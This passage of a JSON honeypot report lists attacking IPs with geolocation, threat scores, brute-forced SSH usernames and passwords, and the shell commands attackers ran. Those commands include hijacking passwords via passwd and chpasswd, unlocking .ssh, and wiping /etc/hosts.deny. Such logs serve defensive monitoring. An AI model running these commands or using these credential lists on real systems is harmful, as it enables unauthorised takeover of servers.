      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:22:37.160000+00:00",
        "last_seen_30d": "2026-03-02T12:00:15.083000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 36
      }
    },
    "176.176.81.250": {
      "attack_count": 183,
      "first_seen": "2026-03-26T00:33:44.135Z",
      "last_seen": "2026-03-26T07:45:11.537Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "puppet",
        "ubuntu",
        "alice",
        "azureuser",
        "builder",
        "erwin",
        "meng",
        "peter",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "12345678",
        "Kuanfan@021",
        "Password1234",
        "alice123!",
        "builder123!",
        "erwinpass",
        "newpassword123",
        "peter1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nXLe2UvNBfabw\\nXLe2UvNBfabw\\n\"|passwd",
        "echo \"Kuanfan@021\\nFsVKncyUUGM2\\nFsVKncyUUGM2\\n\"|passwd",
        "echo -e \"12345\\nXLe2UvNBfabw\\nXLe2UvNBfabw\"|passwd|bash",
        "echo -e \"Kuanfan@021\\nFsVKncyUUGM2\\nFsVKncyUUGM2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Li\u00e9vin",
      "asn": 5410,
      "as_org": "Bouygues Telecom SA",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 213,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T00:33:44.135000+00:00",
        "last_seen_30d": "2026-03-26T07:46:18.914000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 30
      }
    },
    "185.239.208.63": {
      "attack_count": 183,
      "first_seen": "2026-03-24T15:28:23.685Z",
      "last_seen": "2026-03-24T15:48:52.853Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "pzuser",
        "aaa",
        "bryan",
        "evan",
        "jupyter",
        "ljd",
        "localhost",
        "marissa",
        "mirror",
        "ops"
      ],
      "passwords_attempted": [
        "12345678",
        "345gs5662d34",
        "3245gs5662d34",
        "Jupyter123",
        "Mirror123",
        "Ops123!",
        "bryan123!",
        "evanpass",
        "ljdpass",
        "localhost123",
        "pzuserpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"evanpass\\n6AlIdShg6md0\\n6AlIdShg6md0\\n\"|passwd",
        "echo \"pzuserpass\\ntuZw2Icjz8qO\\ntuZw2Icjz8qO\\n\"|passwd",
        "echo -e \"evanpass\\n6AlIdShg6md0\\n6AlIdShg6md0\"|passwd|bash",
        "echo -e \"pzuserpass\\ntuZw2Icjz8qO\\ntuZw2Icjz8qO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T15:28:23.685000+00:00",
        "last_seen_30d": "2026-03-24T15:49:57.125000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 31
      }
    },
    "175.198.28.246": {
      "attack_count": 168,
      "first_seen": "2026-03-31T12:09:15.542Z",
      "last_seen": "2026-03-31T13:20:17.471Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ2wsx123!@#",
        "123456Qq@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123456",
        "Hello321",
        "Hhh@123456",
        "Js@2026",
        "L@y3rh0st2026",
        "Lol123",
        "Qaz@1234",
        "a12345678.",
        "cde3@WSXzaq1",
        "cloud#123",
        "mouse",
        "password2024",
        "php",
        "qsecofr",
        "qwertyuiop[]123",
        "sys@dmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:TMcHeQlojk8H\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yeongdeungpo-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T12:09:15.542000+00:00",
        "last_seen_30d": "2026-03-31T13:21:22.280000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "101.47.140.212": {
      "attack_count": 150,
      "first_seen": "2026-03-02T16:50:55.590Z",
      "last_seen": "2026-03-02T17:31:08.974Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aa147258.",
        "As1234567",
        "Lh123456@",
        "Pa$$w0rd@2024",
        "ethan",
        "qwerty12345",
        "zxcZXC123!@#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "uname -m",
        "w",
        "which ls",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:9PZxNJq89thJ\"|chpasswd|bash",
        "echo \"root:a0JG5i2PCJmA\"|chpasswd|bash",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:50:55.590000+00:00",
        "last_seen_30d": "2026-03-02T17:34:36.740000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 28
      }
    },
    "43.252.228.18": {
      "attack_count": 144,
      "first_seen": "2026-03-18T15:00:24.760Z",
      "last_seen": "2026-03-18T15:31:01.986Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "dennis",
        "root",
        "345gs5662d34",
        "alice",
        "brandon",
        "cc",
        "gitlab-runner",
        "guillermo",
        "kibana",
        "project",
        "security",
        "shiny",
        "ts2"
      ],
      "passwords_attempted": [
        "12345678",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Gitlab-Runner123!",
        "Server123",
        "admin12",
        "brandonpassword",
        "dennispass",
        "guillermopassword",
        "password",
        "project@123",
        "qwerty",
        "ts2pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dennispass\\n7thZUYim1RXa\\n7thZUYim1RXa\\n\"|passwd",
        "echo -e \"dennispass\\n7thZUYim1RXa\\n7thZUYim1RXa\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55933,
      "as_org": "Cloudie Limited",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:00:24.760000+00:00",
        "last_seen_30d": "2026-03-18T15:32:11.088000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "187.45.100.0": {
      "attack_count": 142,
      "first_seen": "2026-03-04T08:07:26.688Z",
      "last_seen": "2026-03-07T14:56:34.875Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sakura",
        "abdul",
        "bkp",
        "don",
        "nuc",
        "nutanix",
        "peter",
        "socksuser",
        "vincent"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Aaa12345",
        "Don123",
        "Sakura123",
        "abdul@123",
        "bkp",
        "nuc",
        "nutanix123!",
        "password",
        "peterpass",
        "qqqq",
        "vincentpass"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Sakura123\\nQAGIezx4COEv\\nQAGIezx4COEv\\n\"|passwd",
        "echo -e \"Sakura123\\nQAGIezx4COEv\\nQAGIezx4COEv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Toledo",
      "asn": 28146,
      "as_org": "MHNET TELECOM",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T08:07:26.688000+00:00",
        "last_seen_30d": "2026-03-07T14:57:35.485000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 142,
        "Suricata": 37
      }
    },
    "24.139.85.223": {
      "attack_count": 129,
      "first_seen": "2026-03-06T21:43:04.916Z",
      "last_seen": "2026-03-06T22:10:18.288Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "testme",
        "345gs5662d34",
        "angel",
        "ashok",
        "carlos",
        "dheeraj",
        "hik",
        "km",
        "old",
        "portal",
        "zw"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@qwer2025",
        "@qwer2026",
        "Ashok123!",
        "Dheeraj123!",
        "Hik123!",
        "Zw123!",
        "carlos123!",
        "km1234",
        "old1234",
        "portal123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\n6jIiBCiqUCPl\\n6jIiBCiqUCPl\\n\"|passwd",
        "echo -e \"1234\\n6jIiBCiqUCPl\\n6jIiBCiqUCPl\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Puerto Rico",
      "country_code": "PR",
      "city": "Mayag\u00fcez",
      "asn": 14638,
      "as_org": "Liberty Communications of Puerto Rico LLC",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 162,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T21:43:04.916000+00:00",
        "last_seen_30d": "2026-03-06T22:11:22.333000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 33
      }
    },
    "171.231.196.91": {
      "attack_count": 127,
      "first_seen": "2026-03-15T06:32:14.811Z",
      "last_seen": "2026-03-15T06:45:39.018Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ashish",
        "*****",
        "RPM",
        "backup",
        "client",
        "cpanel",
        "dubai",
        "geral",
        "jenkins",
        "madrid",
        "mysql",
        "opc",
        "pizza",
        "proftpd",
        "ssh",
        "support",
        "sysadmin",
        "temp1",
        "test1"
      ],
      "passwords_attempted": [
        "ashish",
        "*****",
        "0l0ctyQh243O63uD",
        "1234",
        "123456",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "91482d",
        "P@ssw0rd",
        "RPM",
        "dubai",
        "geral",
        "jenkins123",
        "madrid",
        "mysql",
        "opc",
        "password",
        "pizza",
        "proftpd",
        "ssh"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T06:32:14.811000+00:00",
        "last_seen_30d": "2026-03-15T06:46:47.759000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 127,
        "Suricata": 55
      }
    },
    "177.36.214.46": {
      "attack_count": 124,
      "first_seen": "2026-03-10T06:09:53.150Z",
      "last_seen": "2026-03-10T06:33:22.751Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "cliente",
        "345gs5662d34",
        "bhavesh",
        "chrism",
        "clawd",
        "deployer",
        "dheeraj",
        "ibrahim",
        "michele",
        "postgres",
        "victor",
        "zhuge"
      ],
      "passwords_attempted": [
        "12345678",
        "123123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Michele123!",
        "Zhuge123!",
        "cliente123!",
        "postgrestest"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"cliente123!\\nB1cLH3wZUTM1\\nB1cLH3wZUTM1\\n\"|passwd",
        "echo -e \"cliente123!\\nB1cLH3wZUTM1\\nB1cLH3wZUTM1\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Pirapora",
      "asn": 52967,
      "as_org": "NT Brasil Tecnologia Ltda. ME",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:09:53.150000+00:00",
        "last_seen_30d": "2026-03-10T06:34:26.582000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "103.134.154.138": {
      "attack_count": 119,
      "first_seen": "2026-03-22T14:26:49.880Z",
      "last_seen": "2026-03-22T15:00:51.954Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "purple",
        "345gs5662d34",
        "abdullah",
        "hugo",
        "karan",
        "odm",
        "oracle",
        "passbolt",
        "root",
        "sansforensics",
        "ubuntu22"
      ],
      "passwords_attempted": [
        "123",
        "123.com",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12341234",
        "Hugo123!",
        "karanpass",
        "passbolt123!",
        "purple1234",
        "ubuntu22123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"purple1234\\nbugx1h9QqTd2\\nbugx1h9QqTd2\\n\"|passwd",
        "echo -e \"purple1234\\nbugx1h9QqTd2\\nbugx1h9QqTd2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T14:26:49.880000+00:00",
        "last_seen_30d": "2026-03-22T15:01:54.824000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 30
      }
    },
    "103.59.94.153": {
      "attack_count": 119,
      "first_seen": "2026-03-07T23:15:43.879Z",
      "last_seen": "2026-03-07T23:42:04.322Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "amir",
        "345gs5662d34",
        "dev1",
        "django",
        "ivan",
        "mamad",
        "odin",
        "pp",
        "uftp",
        "xwiki",
        "zhangjh"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Amir123!",
        "Mamad123",
        "Zhangjh123!",
        "dev1123!",
        "password",
        "pppass",
        "xwikipass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Amir123!\\n6SNFCirsLBjq\\n6SNFCirsLBjq\\n\"|passwd",
        "echo -e \"Amir123!\\n6SNFCirsLBjq\\n6SNFCirsLBjq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T23:15:43.879000+00:00",
        "last_seen_30d": "2026-03-07T23:43:09.731000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 34
      }
    },
    "217.154.167.36": {
      "attack_count": 119,
      "first_seen": "2026-03-24T21:25:33.684Z",
      "last_seen": "2026-03-24T21:43:56.300Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "ekp",
        "345gs5662d34",
        "arjun",
        "botuser",
        "external",
        "hath",
        "root",
        "thomas",
        "user05",
        "xx",
        "yan"
      ],
      "passwords_attempted": [
        "1234",
        "123",
        "12345678",
        "1994",
        "3245gs5662d34",
        "345gs5662d34",
        "Botuser123!",
        "Xx123!",
        "user05123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1234\\npwWYU7tEOeIy\\npwWYU7tEOeIy\\n\"|passwd",
        "echo -e \"1234\\npwWYU7tEOeIy\\npwWYU7tEOeIy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
